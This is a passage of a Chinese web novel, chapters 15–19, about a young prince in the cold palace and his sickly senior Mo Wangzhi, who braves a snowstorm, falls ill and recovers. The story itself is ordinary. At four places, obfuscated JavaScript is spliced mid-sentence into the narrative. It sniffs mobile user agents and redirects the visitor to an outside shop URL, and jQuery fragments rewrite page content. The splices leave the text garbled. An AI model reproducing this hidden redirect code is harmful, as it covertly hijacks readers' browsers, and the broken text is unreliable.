在这破败宫苑的一角,时间仿佛静止,只有风吹过老树偶尔发出的哗啦轻响。 玉凌绝一直抱着他,借着天际那轮清冷的月光,细细描摹着怀中人的睡颜。他能看到莫忘之紧闭的眼睫,也能看到自己垂落额前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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肩上骤然落下的重量,带着少年蓬勃体温与干净皂角气息,压得莫忘之一时失语。他看着玉凌绝低垂紧抿的侧脸,看着那眼中毫不掩饰的心疼与固执,终是没有拒绝。 风穿过空寂的宫苑,带着深秋的寒。 莫忘之被冷风吹得轻颤了下,玉凌绝像是被刺激到,立刻伸手紧紧抓住了莫忘之的手。 他的手冰冷得吓人,指节分明,沾染的血迹在晨光下呈现出黯淡的红。 少年抬起头,黑沉的眸子里此刻盈满了一夜未歇的血丝与痛楚,声音沙哑而颤抖:“……你骗我。” 莫忘之被他眼中的激烈震住。他看着少年因恐惧愤怒而涨红,几乎滴血的眸子,终是放弃了掩饰,疲惫如潮水般漫上眉眼。 “老毛病…死不了。”他试图抽回手,语气放缓,“只是看着吓人。” 玉凌绝却不松手,反而抓得更紧,仿佛一松开,眼前人就会消散。他咬着牙,眼泪却不受控制地滚落,混着愤怒和无力,砸在两人交握的手上,温热而潮湿。 “…为什么……为什么不告诉我?”他语无伦次,几乎是在呜咽。 莫忘之看着他汹涌的泪水,默默伸出未染血的手,用指尖轻柔拂去他颊边的泪珠。 “告诉你,又能如何?”他的声音低如梦呓,带着认命般的平静,“徒增烦忧罢了。” 这温柔的触碰却如钝刀,慢慢割着玉凌绝的心。他宁愿莫忘之像往常一样淡然甚至冷漠,也不要看到他这般强撑的模样。 “我能……”玉凌绝急切地想说什么,想说自己能保护他,能寻医问药,却在撞上那双近在咫尺又平静包容的眼眸时,所有言语哽在喉间。他的弱小,在此刻的莫忘之面前,显得如此可笑。 他只能更紧地握住那只冰冷的手,颤抖着死死握住,仿佛这样就能驱散那萦绕不去的病气。 “……以后,”他最终只能从喉咙里挤出破碎的乞求,“别再强撑。” 莫忘之静默片刻,淡淡又似无奈地笑了笑,没有承诺,没有反驳。他只是拢了拢肩上带着少年体温的外袍,轻声道: “天亮了,回吧。” 这一次,玉凌绝没有听话立刻离开。他执意扶着莫忘之,一步步,将他送回东宫外围那处戒备森严的侧门附近,直到看着他安全被值守的暗卫接应,才转身消失在渐明的晨光中。 16. 【拾陆】 秋意愈深,庭中老槐的叶子落得愈发干脆,只剩下黝黑虬枝倔强地刺向灰蒙的天空。风里带着干冷的锋刃,刮过宫墙呜咽作响。 自那夜莫忘之咳血跌倒,玉凌绝的心便似被一根无形的丝线悬着,线的那头系在对方苍白消瘦的腕间,稍一牵动便是心惊肉跳,绷得死紧。 废弃宫苑的日子表面依旧按着从前的轨迹运行,内里却已悄然不同。莫忘之依旧深夜前来,只是来的时辰较以往更晚些,似乎在有意无意地避开那夜之后可能存在的尴尬与过度关切。 他的脸色依然带着挥之不去的倦意,唇色也淡,好在并未再出现那夜般骇人的咳血。只是偶尔夜深风寒时,仍会抵唇低咳几声,每每此时,玉凌绝递上温水的手便会微微发紧,目光一瞬不瞬地锁着他,直到那咳嗽声平息,确认他袖口未有异色,紧绷的脊背才会松懈几分。 课业的内容也悄然变化。莫忘之有时会指着某处地名,淡淡道:“此地有温泉,四季如春。” 或是,“此间山林深幽,多有名医隐士。” 玉凌绝起初不解其意,只当是课业外的调剂。直到一次,莫忘之带来本前朝孤本医书,并非什么珍奇方剂,多是些调理养生,固本培元的论述。他随手放在石桌上:“闲来翻翻,聊胜于无。” 玉凌绝接过,指尖拂过那些陌生的药名与晦涩的经络图示,心头猛地一颤。他抬起眼,莫忘之却已移开目光,望向庭中光秃的枝桠,侧脸在跳动的烛火下显得有些模糊。 他终于明白了。莫忘之在以一种不露痕迹的方式,回应他那夜的恐慌与无助。他在告诉他,自己在寻求解决之道,哪怕希望渺茫;他也在为他描绘,那病痛之外,天地间或许存在温暖安宁的别处。 玉凌绝低下头,将笔记紧紧攥在手里,仿佛攥住了一线微光。 “谢谢……师兄。” 他声音闷闷的。 莫忘之没有回应,只“嗯”了一声,算是收下他这迟来的道谢。 时局愈发紧张,莫忘之授课不再那么频繁,停留的时间也渐短。一次他离去得匆忙,竟将那盏琉璃宫灯遗忘在了桌上。 玉凌绝没有出声提醒。他静静地看着那盏宫灯,琉璃罩内的烛火因莫忘之离去的微风而微微摇曳,映照着他已显沉静的眉眼。他伸出手去触摸那尚带余温的灯罩,上面精致的云鹤纹路硌着指尖。 下一次莫忘之到来时,玉凌绝没有像往常一样等在原地。他主动走到了宫苑入口,手里提着的正是那盏被遗忘的琉璃宫灯。他用自己的方式,点亮了它,为莫忘之照亮了最后一段昏暗的路。 莫忘之看着他,却什么也没说,只是自然地接过玉凌绝手中的灯,一如往常般并肩走入院内。 日子便在这样无声的守护与小心翼翼的关怀中滑过,夜露一次次凝结成霜,晨起的青石板上,开始出现薄薄而一触即化的冰凌。 天气一日冷过一日。内务府拨给冷宫的炭火少得可怜,且多是劣质的烟炭。玉凌绝将自己争取来份的例里,那稍好些的银丝炭仔细留着,只在莫忘之来时才舍得在盆中添上几块,让室内尽可能暖和一些。他自己则裹着那件略显宽大的旧袍,在莫忘之授课时,不动声色地将暖炉往他那边推近。 莫忘之对此心知肚明,有时他会将暖炉推回中间,淡淡道:“你自己也需保暖。” 有时他会将自己带来绣着精致云纹的手炉递给玉凌绝,“拿着,手都冻僵了,如何写字?” 那手炉触手温润,热度透过冰冷的掌心暖到心里。玉凌绝默默接过,贪恋那一点由他掌心传来的温度,却在他不注意时,又将手炉悄悄放回他身侧。 霜降过后,第一场寒霜降临。清晨推开窗,只见瓦上,枯草上皆覆了一层薄薄的白。 莫忘之带来的课业并未停止,朝堂局势的分析也愈发深邃。宰相与国师的争斗日益扩大,边境摩擦不断,整个朝野都弥漫着一股山雨欲来的压抑。莫忘之讲述这些时依旧平静,条分缕析,仿佛在说与己无关的故事,只是玉凌绝偶尔能捕捉到他眼底深处冰冷的算计。 他似是将玉凌绝视为一枚重要的棋子,细细打磨,嵌入那盘巨大的棋局。玉凌绝能感觉到这份期望的重量,他如饥似渴地吸收着一切,无论是权谋韬略,还是帝王心术。他知道,唯有尽快强大起来,才能拥有守护的力量。 那夜来时,莫忘之的唇色却似被寒气激得有了些许血色。 “边关传来消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105170|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,燕师姐率小股精锐,奇袭了东境水师一处被国师亲信把持的码头,烧了数艘战船,缴获了一批往来密信。”他的语气里听不出喜怒,“动静不大,却足以让宰相抓住把柄,在朝上参了国师一个‘治下不严,纵容边将擅启边衅’。” 玉凌绝静静听着,黑沉的眸子映着烛光:“师姐无恙?” “她滑溜得很,已带人遁走,无恙。”莫忘之提及燕沧溟时,嘴角似乎忍不住上扬。“此举虽险,却是步好棋。水师这块铁板,已被她撬开了一道缝。” 玉凌绝迎上他的目光,眼中无半分惧色,只有一片沉静的冰封:“接下来该轮到我们了。国师遭此弹劾,必会反击,矛头很可能再次指向东宫,或我。” 莫忘之看着他眼中那迅速成长近乎冷酷的镇定,微微侧目。他拿起桌上那本被玉凌绝翻得有些卷边的医书,随手翻了几页,状似无意地问道:“看到何处了?” 玉凌绝心跳漏了拍,面上却不动声色:“只是粗略看了些调理气血的篇章。” 莫忘之目光在他脸上停顿一瞬,未再追问,只将书合上,轻声道:“医道如同治国,过犹不及。有些事,急不来。” 这话像是对玉凌绝说,又像是对他自己说。 可玉凌绝却更加焦灼。他知晓莫忘之畏寒,而这废弃宫苑四处漏风,绝非养病之所。他动用莫忘之教他的那些手段,不着痕迹地从负责此处的老太监那里多争取来一些炭火份额,又亲自用厚纸仔细糊严了窗户的缝隙。 这些琐碎的近乎笨拙的准备成了他每日最重要的功课。他不再是被动接受温暖和知识的孩童,他尝试用自己的方式去构筑一个微小却坚实的壁垒,试图去抵挡些许人世风霜。 只是在那个北风尤其猛烈的夜晚,莫忘之离去时,脚步在院门口停顿了一下。他没有回头,声音融在风里,轻得几乎听不见: “过几日,若下雪,我便不来了。你自己……当心。” …… 玉凌绝站在檐下,看着那披着自己准备的斗篷,依旧显得有些伶仃的背影消失在宫墙拐角,紧紧握住了拳。 他知道,冬天真的要来了。而他所做的这一切,还远远不够。 17. 【拾柒】 腊月的帝都,北风嚎叫得像头失了幼崽的母狼,卷着鹅毛大的雪片,撕扯着天地间最后一点暖意。 这场暴雪已然连绵了三日,未有半分停歇的迹象。紫禁城的金顶朱墙尽数被埋在一片令人心慌又死气沉沉的纯白之下,往日威仪荡然无存,只余下森然的冷。 冷宫那处荒废宫苑更是成了被遗忘的绝地,殿宇倾颓处灌进的寒风呜咽盘旋,比刀刮更刺骨。 玉凌绝蜷在偏殿角落,身上裹着所有能找到的破旧被褥和衣物,却依旧冻得牙齿打颤,四肢僵硬如同冰棱。他面前的炭盆里,只有几块劣质的黑炭苟延残喘地释放着微弱到几乎感觉不到的热量,那是他仅有的依仗。 他已经三天没有见到莫忘之了。 理智反复告诫他,这般能将飞鸟都冻毙的天气,莫忘之那畏寒的病弱身子定然更难熬,东宫也必有诸多事务牵绊,他无法前来再正常不过。可听着屋外鬼哭般的风声,感受着生命的暖意一丝丝被严寒抽离,他的身体冻得麻木,心底那点微弱的期盼也几乎被这严寒冻毙。一种被遗弃在冰窟深处,细微却尖锐的恐慌,依旧如同冰锥刺穿了他强装的镇定。 他是不是,真的被遗忘在这冰窟里了? 第四日黄昏,风势稍减,雪未停歇。一阵艰难无比,深一脚浅一脚的踏雪声,由远及近,缓慢却坚定。玉凌绝心脏猛地收缩,几乎是踉跄着冲到门边,猛地拉开。 风雪扑面,几乎迷了眼。视野所及,是一片混沌的雪白,以及雪白中那道几乎要与环境融为一体的玄色身影。 是莫忘之。 他裹在厚重玄色狐裘里,遮住了大半面容,露出的下颌苍白无比。 他走得很慢,每一步都深深陷入积雪,步履间带着一种强撑的虚浮。来到殿门前时不得不伸出手,死死扶住冰凉的门框,才勉强稳住身形,微微喘息着,每一次呼吸都化作浓白的雾团。 玉凌绝看着他这副仿佛下一刻就要被风雪摧折的模样,下意识伸手欲扶。 对方却微微侧身避开了他的触碰,自己缓步挪入殿内,带进一股刺骨的寒气。他没有立刻走向那微弱的炭火,而是先将背上一个裹得严严实实的青布包袱小心卸下,放在相对干燥的角落,这才动作迟缓地坐下,开始解那狐裘的系带。 玄色狐裘滑落,更显得他身形清癯萧索。他唇上不见半分血色,眼睫上还沾染着未及融化的细碎雪屑,在跳动的微弱光线下泛着晶莹的冷光。 “路上积雪太深,耽搁了。”他声音低哑,带着明显的疲惫。抬眼看向玉凌绝时,目光触及他冻得发青的嘴唇和抑制不住微微发抖的身形,眸色一沉。 玉凌绝喉咙发紧,沉默地将那半死不活的炭盆挪近,转身想去倒些热水。 “等等。”莫忘之出声阻止。他俯身解开那个青布包袱。里面赫然是一件簇新厚实的深青色棉袍,还有一小筐虽无宫印却质地极佳的白炭,以及一个沉甸甸的食盒。 “换上这个。”莫忘之将棉袍递过去,“炭也换掉,那烟呛人。” 玉凌绝愣住,看着那明显是精心准备而非宫中制式的御寒之物,一时忘了动作。 莫忘之见他不动,以为他仍在介意前几日之事,便放下棉袍,转而拿起那筐白炭,亲自俯身,一块块替换掉盆中劣炭。新的炭火很快燃起,无烟无味,释放出稳定而温暖的热量,驱散着刺骨的寒意。 做完这些,他似乎耗了些力气,掩唇低咳了两声,才重新坐直,神色已恢复平静,只是眼睫低垂,依旧凝视着炭火,不敢,或者说无颜与玉凌绝对视。 “前日,”他终于再次开口,声音比刚才更低沉了几分,每个字都像是从冰雪里捞出来,带着寒意,“我拦下了燕师姐派人送来的东西。” 玉凌绝蓦然抬头,黑沉眸子里的愕然难以掩饰。前日正是他冻得几乎失去知觉的时候,他等了一天,未曾等到师姐往常偷偷塞进来的皮裘和银丝炭,原来……不是师姐没送,是被他截下了? 莫忘之依旧没有看他,像是在对着空气忏悔,语气平静得近乎残忍:“是一件上好的皮裘,还有两筐宫内御用的银丝炭。”他顿了顿,指尖无意识地蜷缩了一下,似乎在组织语言,或者说在剥开自己那层冷静的外壳。 “宫中耳目比你想的更多。燕师姐频繁往来冷宫的风险日增。此次雪灾,各方视线都盯着物资调配。那皮裘太过扎眼,银丝炭更有宫印……若被有心人查到来源,顺藤摸瓜……于她,是私通宫禁,图谋不轨;于你,是勾结边将,心怀叵测。皆是……死罪。” 他的分析冰冷精准,带着惯有的算无遗策的权衡,将所有的温情都剥离,只剩下赤裸裸的生存法则。 “所以,”莫忘之终于抬起眼,看向玉凌绝。火光跃动在他苍白的脸上,投下明明灭灭的阴影,而他那双总是古井无波的眸子里,此刻竟清晰地映着一种玉凌绝从未见过的情绪,似乎挣扎过后的疲惫,或是明知选择正确却依旧无法释怀的复杂。 “我让人截下了,换成了这些……”他的目光扫过从炭盆里取出的,那些还冒着烟的低劣黑炭,又扫过玉凌绝身上那件明显无法抵御严寒的空荡荡的旧棉袍。 “这些东西,御寒……终究是差得太远。”他的声音里带上了轻微的颤抖,不知是身体的不适还是情绪的波动,“让你……挨冻受苦了。” 他停顿了很长时间,长到玉凌绝以为他不会再说什么。 终于,莫忘之再次抬起眼,这一次他的目光直直地迎上了玉凌绝的视线。而玉凌绝清晰地看到了一种他从未见过的情绪。不是算计,不是疏离,而是一种沉甸甸的名为“愧疚”的东西。他艰难地几乎是嗫嚅着,吐出了那两个字: “……抱歉。” 话音落下的瞬间,仿佛整个风雪呼啸的世界都安静了。 一股汹涌的热流猛地冲上头顶,堵塞了喉咙。他看着莫忘之那张苍白却依旧努力维持镇定的脸,看着他眼底那抹不容错辨的歉意,猛地别开脸,胸膛剧烈起伏,狠狠吸了几口冰冷又混杂着烟灰的空气。下一刻,他像是被什么驱使着,猛地转回身,几步跨到莫忘之面前,动作快得带起一阵风。他黑沉的眸子因激动而显得异常明亮,里面燃烧着愤怒和一种不容置疑的执拗。 “谁要你道歉!”他几乎是低吼出来,声音因强忍情绪而发硬,带着少年人特有的沙哑。 莫忘之被他这突如其来近乎失控的举动弄得怔在原地,一时忘了反应。他看着玉凌绝因激动而泛红的眼眶和紧抿着,透着倔强与委屈的唇,眼底的愧疚如同潮水般蔓延开来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105171|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我……”他张了张嘴,想说什么,却被玉凌绝猛地打断。 “你自己什么身子不清楚吗?”玉凌绝盯着他,语气凶狠,眼神却泄露了全部的恐慌与担忧,“这种鬼天气跑来就为了说这个?!你……”他想骂他不知死活,想骂他多此一举,可所有的话语都卡在喉咙里,化作更深的无力。 莫忘之垂下眼眸,避开了少年的视线,目光落在他那双冻得通红甚至有些肿胀的手上。沉默了片刻,忽然伸出手,握住了玉凌绝冰凉的双手。 他的指尖依然带着凉意,掌心却残留着未散的余温。那触碰轻柔,带着一种小心翼翼的试探与抚慰。 玉凌绝浑身一震,下意识想抽回,却被那力道不重却异常坚定的手握紧。 “冷吗?”莫忘之低声问道,不等对方回答,便用自己那双执笔布棋也曾沾染血污的手,笨拙地一遍遍揉搓着玉凌绝冰凉的指节和手心,试图将那点微薄的暖意传递过去。他的动作僵硬,与其说是揉搓,不如说是一种充满歉意的无声安抚。 玉凌绝看着他苍白的脸,感受着手上那笨拙却执着的暖意,听着那声艰难的“抱歉”,所有积压的委屈和恐慌,在这一刻烟消云散。 他想说“没关系”,想说“我不冷”,喉咙却被窗外肆意的风雪堵住,一个字也发不出。他只是怔怔地看着莫忘之,看着他那专注到近乎固执地想要温暖自己的样子,眼眶不受控制地泛起潮热。 莫忘之见他眼眶泛红,以为他仍是觉得冷得厉害,手上的动作更急了些,甚至低下头,朝着两人交握的手,轻轻呵了几口温热的气息。那带着他独特药草清苦气息的暖流拂过冰凉的皮肤,带来一阵细微而战栗的触感。 随后莫忘之用另一只空着的手的指背,试探地贴了贴他冰凉的脸颊。那触碰一触即分,留下一点转瞬即逝的微凉与属于对方的温度。 “脸也冻透了。”他收回手,眉头微蹙,那语气里带着连他自己都未察觉的,近乎责备的关切,“炭火旺了,靠近些,好好烤烤。” 殿内一时安静下来,只有白炭燃烧时发出的细微哔剥声。温暖的空气缓缓流动,包裹着相对无言的两人。玉凌绝手上那冰凉的麻木感,在那持续不断的揉搓和断续的温热呵气中,一点点褪去,被一种更深的暖意取代。 “以后……不会了。”不知多久,莫忘之的声音重新响起,几乎轻不可闻,像是一个承诺,又像是一句说给自己的告诫。 他缓缓松开手,站起身,重新将那件厚重的玄色狐裘裹紧。 “……我该走了。”他低声道,声音依然沙哑,步履依旧缓慢,却似乎比来时多了几分安定,“炭火……别熄太早。夜里当心门户,这些炭,省着些用,应能撑过这场雪。” 玉凌绝抬起头,看着那即将再次融入风雪的背影,哑声开口: “……路上小心。” 莫忘之脚步微顿,没有回头,只低沉地应了一声,便裹入了门外那片无边无际的白。他的步履缓慢而沉重,踏在积雪上发出“嘎吱嘎吱”的声响,一步步消失在依旧纷飞的大雪中。 玉凌绝站在门口,直到那身影彻底被风雪吞没。他抬手,看了看自己那仿佛还残留着对方掌心温度与呵气暖意的手。 殿外风雪依旧,殿内炭火正暖。 18. 【拾捌】 莫忘之那日踏雪离去后,便再未出现于冷宫废弃的宫苑。 起初两日,玉凌绝尚能凭借那筐白炭和厚实棉袍捱过寒冬,心中虽牵挂,却总存着一丝念想,他依旧每夜将炭火烧得旺旺的,清水温在炉边,仿佛那人下一刻便会推门而入,带着一身清寒与药香。 然而,第三日,第四日过去,殿外除了呼啸的风雪,再无其他声响。一种不祥的预感悄然缠绕上玉凌绝的心头,越收越紧。他想起莫忘之离去时苍白的脸色,想起他掩唇低咳的虚弱,想起那日他踏雪而来时几乎耗尽力气的模样……他不敢再想下去,心头那根名为担忧的弦,越绷越紧,几乎要断裂。 就在他焦灼难安,几乎要不顾一切设法探听东宫消息时,一个身影在第五日深夜,如同矫健的夜枭,悄无声息地掠过高墙,落在院中积雪上,只发出轻微的“咯吱”一声。 燕沧溟带着一身寒气再次翻墙而入。她脸上不见了往日的爽朗笑意,眉宇间凝着层化不开的沉郁。 “师姐……”玉凌绝迎上前,心中不祥的预感愈发强烈。 燕沧溟抬手止住他的话,目光扫过他身上簇新的棉袍和盆中燃烧的白炭,眼神复杂地叹了口气:“果然是为了这个。” 她大步走到炭盆边,伸手烤着火,声音压低,带着压抑的怒气与后怕:“那日他截下我的东西我就该想到,他那身子骨,平日不出门都咳个不停,竟敢顶着那样的风雪出去!这混账东西从来就不把自个儿的命当回事!”她眉心那点朱砂痣,因怒气而愈发殷红,仿佛一滴将落未落的血珠,锐利得能刺伤人。 玉凌绝心头猛地一沉,声音发紧:“他……” “病倒了。”燕沧溟言简意赅,声音沉重,“那日回去就起了高热,咳得撕心裂肺,听说还呕了血。太医署的人进出不停,药灌下去却像是石沉大海。”她猛地攥紧了拳,骨节发白,“东宫对外只说是染了风寒,需要静养,谢绝探视。可宫里那些老狐狸,哪个不是人精?只怕……风声已经漏出去了。” 玉凌绝只觉得一股寒意从脚底直窜头顶,比置身冰窟更甚。他眼前仿佛又浮现出莫忘之那夜苍白如雪的脸,离去的蹒跚背影,此刻都化作了烧红的烙铁,烫得他五脏六腑都在抽搐。 果然还是…病倒了。 “……我去看他。”玉凌绝的声音干涩,带着不容置疑的决绝。 燕沧溟霍然转身,盯着他:“东宫如今戒备必然森严,你如何进去?” “师姐有办法,不是吗?”玉凌绝抬起眼直视着她,里面是毫不掩饰的执拗与决绝,“你今夜前来,不单单是为了告诉我他病倒的消息。” 燕沧溟见他这般模样,心头火气稍敛,叹了口气,上前一步扶住他单薄的肩膀,力道很重,却带着不容置疑的坚定:“没错,如今东宫守得铁桶一般,等闲探听不到真实消息。我今晚来就是问你,敢不敢跟我闯一趟东宫?亲眼去看看他到底怎么样了!” 玉凌绝猛地抬头,黑沉的眸子里瞬间燃起一簇火光,没有任何犹豫:“去!” “好!”燕沧溟赞许地拍了拍他,“跟我来,我寻到一条路子,或许能避开耳目,潜进去看他一眼。守卫换防的间隙我也摸清了。记住,跟紧我,无论看到什么,听到什么,不许出声。” 子时三刻,月隐星稀。两道黑影如同鬼魅,悄无声息地潜至东宫西北角。燕沧溟率先如灵猫般攀上宫墙,凭借着她对宫廷禁卫换防规律的了解以及这些年暗中经营的人脉,熟稔地避开所有明哨暗岗。 玉凌绝紧随其后,心跳如擂鼓。七拐八绕,燕沧溟最终在一处僻静殿阁的后窗停下,指尖在窗棂上规律地叩击数下。 片刻,窗户从内无声开启,露出一张紧张的小太监的脸,是莫忘之的心腹内侍。见到燕沧溟时他明显松了口气,又看到身后的玉凌绝,眼中流露出一些讶异,却未多言,迅速让开身子。 一股浓郁的药味混杂着清苦的安神香扑面而来,几乎令人窒息。殿内只点着一盏昏黄的宫灯,光线在帐幔低垂的床榻边挣扎,映出一片沉重的沉寂。 玉凌绝几乎是屏着呼吸,一步步挪到榻前,仿佛怕惊扰了这片宁静之下的脆弱。 只见莫忘之静静地躺在锦被之中,双目紧闭,长睫在苍白的脸上投下浓重的阴影,嘴唇因高热而干裂起皮,泛着不正常的绯红。 他的呼吸急促而浅弱,额上覆着的湿帕已被体温蒸得半温,细密的汗珠仍不断渗出。即便在昏睡中,他的眉头也微微蹙着,仿佛仍在无声地承受着病痛的啃噬。一只清瘦的手无力地垂在锦被外,腕骨伶仃,上面那道为他挡下毒爪的淡粉色疤痕,在此刻显得尤为刺目。 不过几日不见,他竟已憔悴虚弱至此。 玉凌绝只觉得心脏像是被一只无形的手狠狠攥紧,连呼吸都滞涩起来。那日在冷宫咳血摔倒,对方至少尚有几分清醒的狼狈;而此刻,他全然沉沦于病痛的泥沼,连挣扎的力气都已失去。他下意识伸出手,想要碰碰那滚烫的额头,指尖却在即将触及时猛地凝在半空,终究不敢落下。 燕沧溟立在他身旁,总是飞扬的眉眼也沉静下来,那颗朱砂痣在她微蹙的眉间,像一滴凝固的血泪,盛满了无声的担忧,紧抿的唇线透出压抑的凝重。 她终是重重叹了口气,声音低哑:“烧还没退干净。太医说是风寒入体,引动了旧疾,加之……此前心神耗损太过,需得静养一段时日。”她的话既像解释,又似无奈的低喃。 就在这时,榻上的人仿佛被梦魇缠住,呼吸骤然急促,头不安地在枕上辗转,干裂的唇间逸出几个模糊不清的音节。 玉凌绝立刻望向旁边的水盆与帕子。燕沧溟已抢先一步,拧了新的凉帕,动作轻缓地换下他额上那块已然温热的。 玉凌绝转而端起小几上一直温着的药盏,用银匙舀了少许,小心地吹凉,这才端到榻边。他迟疑地看向侍立一旁的内侍,对方却悄然移开目光,默许了他的举动。 他将汤药小心地凑到莫忘之唇边,极轻缓地喂入。莫忘之似乎尚存一丝本能,顺从地吞咽着,只是眉头因药的苦涩而蹙得更紧。喂完药,玉凌绝用自己的袖口内侧,轻轻替他拭去唇角沾染的药渍,并未立刻起身,反而顺势跪坐在榻前冰凉的地面上,仰头凝视着那张昏睡中的脸,目光仿佛被钉住,再也移不开分毫。 燕沧溟抱臂倚在柱旁,静静看着这一幕,没有出声打扰。望着玉凌绝那副恨不得以身相代的模样,她心中亦是百味杂陈。 莫忘之的高热似乎退去些许,呼吸略趋平稳,人却开始不安地辗转,额上渗出更多冷汗,唇间断续溢出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105172|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压抑的闷哼。 玉凌绝心急如焚,却又无计可施,情急之下,伸出手轻轻握住了莫忘之露在锦被外的那只冰冷的手。 触手一片冰凉的潮湿。指尖冷得像冰,掌心却因低热而带着不正常的潮意。 莫忘之似乎感受到了这陌生的安抚,眼睫颤动了几下,艰难地掀开沉重的眼皮。他眸中一片涣散迷茫,映着昏黄的灯火,像是蒙了层氤氲的水雾。他模糊的视线在玉凌绝脸上停留片刻,似乎未能立刻辨认,只是下意识地用微不可察的力道,回握住了那只覆在他手背上属于少年的手。 “……凌……绝?”他声音沙哑,带着恍惚的不确定。 “是我。”玉凌绝俯身凑近,与他视线相接,声音放得很轻,带着自己都未察觉的小心翼翼,“师兄,你觉得怎样?” 四目相对。 莫忘之眼中的迷蒙初时未散,待看清真是玉凌绝后,骤然掠过惊愕,随即化为深浓的忧虑与不赞同。他张了张嘴,想说什么,却只发出几声破碎的气音。 玉凌绝下意识想抽回手,却被对方那依旧无力却执拗回握的手指阻止了。 “……胡……闹……” 他气息微弱,几乎是用气音斥责,但那不肯松开的手指,却泄露了截然不同的心绪。 玉凌绝看着他眼中不容错辨的担忧,鼻尖蓦地一酸,低声道:“我就来看看……你没事就好。” 莫忘之闭了闭眼,似乎连维持清醒都极为艰难,却依旧没有松开手。良久,他才费力地挤出一句:“……别再……来了……危险……” 燕沧溟见状默然上前,犹豫一瞬,也伸出手,轻轻覆在两人交握的手上。莫忘之的手苍白湿冷,玉凌绝的手粗糙微凉,燕沧溟的手干燥温暖。三只手叠在一起,传递着无声却坚定的暖意。 “没事了……我们在。”她低声说道,嗓音是罕见的温和。 或许是这触碰与话语带来了慰藉,或许是药力终于行开,莫忘之紧绷的身体渐渐松弛下来,紧蹙的眉头也舒展些许,终是沉沉睡去。 殿内重归寂静,唯有灯花偶尔爆开细微的噼啪声。时间在浓重的药味与这片小心翼翼的宁静中缓缓流淌。 玉凌绝就维持着跪坐的姿势,一动不动,任由自己的手被他握着,仿佛一尊沉默的石像。 良久,燕沧溟看向依旧目不转睛的玉凌绝,低声道:“天快亮了,我们必须走了。” 玉凌绝凝视着莫忘之终于安稳的睡颜,犹豫片刻,才极其缓慢地,一点一点地将自己的手,从那只已然放松却仍带微潮的掌心中抽离。那残留的冰凉与湿意,却仿佛烙印般久久停留在他的皮肤上。 他站起身,最后深深看了一眼榻上之人,这才随燕沧溟一道,如来时般,悄无声息地融入微亮的夜色。 返回冷宫的路上,两人皆是无言。 直到踏入那破败院落的阴影中,燕沧溟才停下脚步,转身看向玉凌绝,语气是少有的沉肃:“看到了?他那身子,经不起任何折腾。往后……”她顿了顿,目光如炬,“别再让他为你涉险。” 玉凌绝垂在身侧的手倏地握紧,指甲深深嵌入掌心,留下月牙似的白痕。他没有辩驳,只是缓缓抬眼,望向东宫的方向,声音在料峭的夜风中清晰而冷冽: “我知道。” 19. 【拾玖】 直到五日后燕沧溟再次带来消息,语气才轻松了许多:“烧退了,人也清醒了,就是还虚得很,太医说需静养一段时日。” 玉凌绝悬了多日的心才终于有所着落。当夜,莫忘之身边那名内侍竟主动寻了过来,带来一只小巧的食盒,里面是几样精致的点心。 “殿下今日精神稍好,说这点心性平温和,可用少许。”内侍低眉顺目,“殿下还说……让您安心,也……谢谢您和燕姑娘。” 玉凌绝接过食盒,指尖感受到木盒上淡淡的暖意。他打开一看,里面是几块做成小鱼形状的豆沙糕,小巧精致,散发着淡淡的甜香。与之前不同,这次的点心旁还放着一小卷素笺。 他展开素笺,上面只有寥寥数字,是莫忘之那熟悉又从容的笔迹: “疾已去七分,勿念。春安” 玉凌绝紧紧攥着那张薄薄的纸笺,反复看了数遍,直到将那几个字刻入心底。一股难以言喻的暖流和着酸涩,缓缓涌遍全身。他抬起头,看向那内侍,声音有些发紧:“师兄……殿下他,可还咳?夜里能安睡吗?” 内侍低着头,恭敬回道:“殿下咳疾已大为缓解,太医嘱咐仍需静养,但精神已好了许多,夜间亦能安眠数个时辰了。劳小公子挂心。” 玉凌绝点了点头,没有再问。他知道能传出这样一张字条,已是不易。 内侍离开后,玉凌绝将那张素笺小心地折好,放入怀中,贴身收藏。他拿起一块小鱼糕细细品尝,豆沙的甜糯与米糕的清香在唇齿间蔓延。 他走到院中,感受着那带着湿冷气息却已不那么刺骨的寒风,仰头望向湛蓝了许多的天空。 窗外风雪不知何时已停,一轮清冷的月牙挂在天际,将皎洁的辉光洒满银装素裹的庭院。 